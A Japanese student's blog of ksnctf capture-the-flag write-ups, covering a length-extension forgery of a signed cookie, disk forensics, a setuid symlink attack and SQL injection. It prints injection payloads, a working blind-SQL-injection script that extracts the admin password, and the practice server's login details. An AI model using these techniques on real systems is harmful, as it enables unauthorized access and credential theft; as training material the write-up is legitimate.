強エンジニアになりたい大学生の日記

その日学んだことを日記程度に発信します。

ksnctf(9)

MathⅡ 50点

来ました。二分探索したくなるやつ。

x = 2748040023408750324411119450523386950660946398855386842074606380418316981389557916980086140301887947706700698930830779678048474531538039134089675000612962004189001422715316147779554460684462041893073445562829316520071658956471592707597247194589999870235577599858641217209525243986680999448565468816434633441308131788183291153809253610695081752296732033298647222814340913466738465892791206393936089466068684809286651197884210187525269355913763182559833600649423167126622527203197940618965341674710993871930168655984019611567024681974446413864111651893113475795042753452042221938667445789706741508160949598322950403760355305740757495122850819958219745478009476321531997688864567881328571570240278649150057863614800304034452842380274161491817926949213762740941829027657311016236224840157689532838274458699038989430527152474540367086746579688987076042252804910459873636444778218434530247647760637770881658596016745610672707638583665201858035977485748775481448417394363801163664632527695106599930657132405666766730530997168969743603771751166591137309462845077320233889570871715682231576283485837079838925927845291565664213349164253238166525895494203520538861102027123057706413048503799598270037162337386882901940037500301040636118696723417952777083334146545991127148023661461455142653367976629308434919237639329808504561590505864983890552051987234096577849288536293631380950881787840319976968198704697701966146561843819563765280293823120028941691560894722032503932540560461794190408016359786029679686957711035845785762377768203676919060935155382104877926736292611130243057909501332528103700463961697932230444978571571548190911155741113324573679444638703192583211952316173122745153529542339170631749363019742630339456502772150867703497326010832217054307087826776870481852284816747574983354077170761286175754243223519482572371717625453405597596790583499145036350302955327521461648262537855645876387858201576107385450844609238327605056916243564458120595540013872075267316304999752934829122583429168665162743589578036716137649553856654996867605565582594039606555708509284616434305172100068285925706963351193710675088846623856567419346569873886366829228933416064828304824833588800700991940600359503453201939139663042787644390810036292415117714919711827630953170559057272633043896443339064006637234499569232762828723613158050896065355005775876910820958296537497557737916521798848004761708690607167573807307291510879396794861418856342383200817566360552405183866698509354047737422523253071467100174078467454351746681775690022510266842064132386305358891086764558955802257688899610117102582837343655907837234028334304769930810792079059216436489942124896722072971246781926084943216581585837400274934104255861076781834022322597318553478829221018993823759479304536464719195824731739557957722610850860725276329731096193041588880149698625007746958307472328762247329346952956782896672291984502790479223886842985800649168009891087704339671376795754679245964575179873102014722210341771266309855717402003098724600141420936602986387680283404929020457247001371544838792904086327642729822000980710278752669990211765608002907900832262843253793831541691706704836397397798869236939393204666502455311086553874765248631328418556164635889080357612074921368044611251307530838475840480894307375072202500636365832958938363048173011687247738236161480446422712858040552310006617829659443118541556912488329721272939472554467384944920030182974546889304443711910957344160175437149714520561879951921970795705645045936350875827028675689840953101114431720413756855193291198455863087675930604549263160397353363504597829924339064422377323361781720524799661393081986371074530022532621955945720583925291264598924971169093688390536693144593482790588893095052569365154072722966434676949346037949263628957665599420417719951187489606010866702371368012263032537375401145460592536898818245350468847674995676417425737655723761467908866712060720593684978725896677308273
l = 1
r = 10**50
while(l+1!=r):
    mid = (l+r)//2
    mid_pow = pow(mid, 101)
    if mid_pow<x:
        l = mid
    else:
        r = mid
print(r)

xの桁数を超える桁数の値としてr=10**50としました。

O(log1050) ということで余裕ですね。しかしこんな大きな数が扱えるのはPythonだからなのです。多倍長整数に感謝しましょう。

ksnctf(8) length-extension attack

KanGacha 130点

<?php

$salt = 'FLAG_????????????????';

$shipname = array(
    'Nagato',
    'Mutsu',
    'Kongo',
    'Hiei',
    'Haruna',
    'Kirishima',
    'Fuso',
    'Yamashiro',
    'Ise',
    'Hyuga',
    "Yamato [Congratulations! The flag is $salt. ??????????????????????????????????????.]"
);

//  Check signature and read
if (isset($_COOKIE['ship']) and
    isset($_COOKIE['signature']) and
    hash('sha512', $salt.$_COOKIE['ship']) === $_COOKIE['signature'])
    $ship = explode(',', $_COOKIE['ship']);
else
    $ship = array();

if (isset($_POST['submit']))
{
    //  Gacha
    if ($_POST['submit'] === 'Gacha')
    {
        //  Yamato is ultra rare
        $ship[] = mt_rand(0, count($shipname)-2);

        $s = implode(',', $ship);
        $sign = hash('sha512', $salt.$s);

        setcookie('ship', $s);
        setcookie('signature', $sign);
    }

    //  Clear
    if ($_POST['submit'] === 'Clear')
    {
        setcookie('ship', '', 0);
        setcookie('signature', '', 0);
    }

    header("Location: {$_SERVER['REQUEST_URI']}");
    exit();
}

?>
<!DOCTYPE html>
<html>
  <head>
    <title>KanGacha</title>
  </head>
  <body>
    <h1>KanGacha</h1>
    <form method="POST">
      <input type="submit" name="submit" value="Gacha">
      <input type="submit" name="submit" value="Clear">
    </form>
    <ul>
<?php
for ($i=0; $i<count($ship); $i++)
    echo "<li>{$shipname[$ship[$i]]}</li>\n";
?>
    </ol>
  </body>
</html>

shipに10を入れ、salt + COOKIE['ship'] の sha512 によるハッシュ値が、 COOKIE['signature']と一致させればいいことがわかる。

length-extension attackという攻撃手法があります。これは、ハッシュ関数Hによっては、y=H(secret+x)について、xとyが既知であるとき、secretの逆算はできなくても、H(secret+x+z)が求められるというものです。

今回の場合、一回「Gacha」をすることで、xとyを入手できるため、H(salt + x + 10)の値が入手できます。

hashpumpを使えば簡単に求められます。

hashpumpのinstall
$ git clone https://github.com/bwall/HashPump.git
$ apt-get install g++ libssl-dev
$ cd HashPump
$ make
$ make install
$ hashpump
Input Signature: 662c1f9223674b42a1ac767aea7096a7eefe55f7f8ef99ba441ce61b065bda6b9b9c242a18bf17aea164aa76aed60e9cb586812a74d346b0f17bb61b5dbba988
Input Data: 4
Input Key Length: 21
Input Data to Add: ,10

68f7d1fb28f4428f6e6589e374bc4d21ed111a009129ae38190a556a948c2f4e647c0f372ce8e115650280df9234b298ac45a5367d4c639a8ea162c1db0729f6
4\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0,10

これで、signatureとshipの値が入手できました。shipのほうはエンコードしておきます。

これをdevtoolからcookie1に代入して、「Gacha」を押せばFLAGゲットです。

qiita.com

この記事がめちゃくちゃ参考になりました。

ksnctf(7)

USB flash drive 80点

ftk imagerを使って中身を見てみると、FLAGがある。

別解法

flsコマンドを使う。(flsコマンドはsleuthkit内に入っているコマンドの一つで、 ディスクイメージ内のファイルとディレクトリの名前を列挙してくれる)

$ fls drive.img

r/r 4-128-4:    $AttrDef                                                                 
r/r 8-128-2:    $BadClus                                                                 
r/r 8-128-1:    $BadClus:$Bad                                                            
r/r 6-128-4:    $Bitmap                                                                  
r/r 7-128-1:    $Boot                                                                    
d/d 11-144-4:   $Extend                                                                  
r/r 2-128-1:    $LogFile                                                                 
r/r 0-128-1:    $MFT                                                                     
r/r 1-128-1:    $MFTMirr                                                                 
r/r 9-128-8:    $Secure:$SDS                                                             
r/r 9-144-11:   $Secure:$SDH                                                             
r/r 9-144-5:    $Secure:$SII                                                             
r/r 10-128-1:   $UpCase                                                                  
r/r 3-128-3:    $Volume                                                                  
r/r 35-128-1:   Carl Larsson Brita as Iduna.jpg                                          
r/r 37-128-1:   Mona Lisa.jpg                                                            
r/r 38-128-1:   The Great Wave off Kanagawa.jpg                                          
-/r * 36-128-1: Liberty Leading the People.jpg                                           
-/r * 36-128-4: Liberty Leading the People.jpg:00                                        
-/r * 36-128-5: Liberty Leading the People.jpg:01                                        
-/r * 36-128-6: Liberty Leading the People.jpg:02                                        
-/r * 36-128-7: Liberty Leading the People.jpg:03                                        
-/r * 36-128-8: Liberty Leading the People.jpg:04                                        
-/r * 36-128-9: Liberty Leading the People.jpg:05                                        
-/r * 36-128-10:        Liberty Leading the People.jpg:06                                
d/d 256:        $OrphanFiles                                                             

ここで、「*」 が付いているのは削除ファイルを意味している。

試しにicatコマンドで中身を確認してみる。

icat drive.img 36-128-1 > a.jpg

a.jpgを開くと

f:id:burst_000:20200729142522j:plain

このファイル内にFLAGがあるということなので、ほかのやつの内容も見てみる。

icat drive.img 36-128-1
>> FLA

FLAGっぽいですね。全部の出力を一つのtxtに連結してFLAGゲットです。

#!/bin/sh
icat drive.img 36-128-4 >> flag.txt
icat drive.img 36-128-5 >> flag.txt
icat drive.img 36-128-6 >> flag.txt
icat drive.img 36-128-7 >> flag.txt
icat drive.img 36-128-8 >> flag.txt
icat drive.img 36-128-9 >> flag.txt
icat drive.img 36-128-10 >> flag.txt
$ cat flag.txt

ksnctf(6) シンボリックリンク攻撃

Proverb 70点

とりあえずsshで接続

$ ssh -p 10022 q13@ctfq.sweetduet.info

password: 8zvWx00MakSCQuGq

カレントディレクトリを確認してみる

$ ls -l
total 28
-r-------- 4 q13a q13a    22 Jun  1  2012 flag.txt
---s--x--x 1 q13a q13a 14439 Jun  1  2012 proverb
-r--r--r-- 1 root root   755 Jun  1  2012 proverb.txt
-r--r--r-- 1 root root   151 Jun  1  2012 readme.txt

これを見ると、flag以外はユーザq13でも使えそう。(ここで、proverbに書かれているsはセットIDといい、ほかのユーザーがあたかもrootであるかのように実行できるようにするもの)

proverb.txt

All's well that ends well.
A good beginning makes a good ending.
Many a true word is spoken in jest.
Fear is often greater than the danger.
Go for broke!
Fire is a good servant but a bad master.
The wolf knows what the ill beast thinks.
There is always a next time.
Spare the rod and spoil the child.
The calm before the storm.
The die is cast.
Take heed of the snake in the grass.
Confidence is a plant of slow growth.
Love is blind.
The sky's the limit...
Truth lies at the bottom of a well.
Blood is thicker than water.
Ignorance is bliss.
There's no way out.
Full of courtesy, full of craft.
Heaven helps those who help themselves.
Bad luck often brings good luck.
Misfortunes never come singly.
Nothing ventured, nothing gained.
Eternal Immortality.

proverb

There's no way out.

proverb.txtの中身がランダムに出力されている。

flag.txtのファイル名をproverb.txtに変えてproverbを実行すればよい

シンボリックリンクを用いる。

シンボリックリンクとはUNIX系のOSにおけるファイルやフォルダの代理人ファイルのことです。windowsでいうショートカットのようなもので、フォルダやファイルのコピーを作成するイメージです。

readme.txt

You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

作業は/tmpでやれということなので、とりあえず/tmpに移動し、flag.txtのシンボリックリンクを作成します。

$ cd /tmp
$ ln -s /home/q13/flag.txt ./proverb.txt

ln: creating symbolic link `./proverb.txt': File exists

proverb.txtはすでに存在しているらしいです。catコマンドで中身を見てみると、「Please make your own subdirectory.」と書かれているので、/tmp直下にmkdirで適当にフォルダを作成します。

$ mkdir subdir
$ cd subdir

ここにflag.txtとproverbのシンボリックリンクを作成します。

$ ln -s /home/q13/flag.txt ./proverb.txt
$ ln -s /home/q13/proverb ./proverb

後はprobervを実行すればフラグゲットです。

また面白い攻撃を学ぶことができました。

ksnctf(5)

Programming 110点

とりあえずcppファイルをダウンロードして実行してみると

FROG_This_is_wrong_:(

違うらしい。不自然に配置された空白が変に思い、調べてみるとwhitespaceという言語があるらしい。

Whitelips the Whitespace IDE

オンラインで実行できるサイトがあったので、そこでデバック&実行する。 PINを聞かれるので、デバックで出たきた値の33355524を入力してFLAGをゲット。

ksnctf(4) SQLインジェクション、ブラインドSQLインジェクション

login 120点

とりあえずSQLインジェクション

' or 1==1 --

をIDに入れてあげると、

Congratulations! It's too easy? Don't worry. The flag is admin's password.

となりうまくいったようだが、Flagはまだ手に入らない。パスワードがFlagになっているらしいので、ブルートフォース(総当たり)でパスワードを一文字ずつ当てていく。これはブラインドSQLインジェクションという技らしい。

解法

まず最初にFLAGの文字数を当てます。

当たってた場合は下のような画面が表示されます。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

当たってなかった場合は下のような画面が表示されます。

First, login as "admin".
Login Failed

ここからわかるように正解の場合と不正解の場合で画面に表示される文字の数が大きく異なっています。よってその文字数を見ることで当たってたか外れていたかを判定することができます。

次にパスワードを当てます。

f:id:burst_000:20200726004232p:plain
参考url http://www.asciitable.com/

ASCIIのテーブルを見てあげると、FLAGに使われるのは48~122であることがわかります。よってこの範囲でブルートフォースしてあげます。

コード

import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

# 文字長総当たり
length = 0
for i in range(1,100):
    sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i)
    param = {"id": sql}
    if len(requests.post(url, param).text) > 1000:
        length = i
        break

# パスワード総当たり
password = ''
for i in range(1, length+1):
    for char in range(48, 123):
        sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) = \'{}\' --".format(i, chr(char))
        param = {'id': sql}
        if len(requests.post(url, param).text) > 1000:
            print(chr(char))
            password += chr(char)
            break

print(password)

おまけ

二分探索を使って早くしようとした

import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

length = 0
for i in range(1,100):
    sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i)
    param = {"id": sql}
    if len(requests.post(url, param).text) > 1000:
        length = i
        break

password = ''
for i in range(1, length+1):
    l = 48
    r = 123
    while(l+1!=r):
        char = (l+r) // 2
        sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) < \'{}\' --".format(i, chr(char))
        param = {'id': sql}
        if len(requests.post(url, param).text) > 1000:
            r = char
        else:
            l = char
    print(chr(char))
    password += chr(char)

print(password)

わずか100回のループがlog(100)回になったところで人間に感じられるような変化はなかった(あたりまえ)。 遅いのはリクエストの間隔ですよね、、。そんな爆速でリクエストを送ったらDos攻撃になってしまいます(笑) 今回はだめでしたが、こういうアルゴリズムが生きる日が来ることを信じて精進してまいります。

ksnctf writeup - Qiitaこの記事を参考にさせていただきました。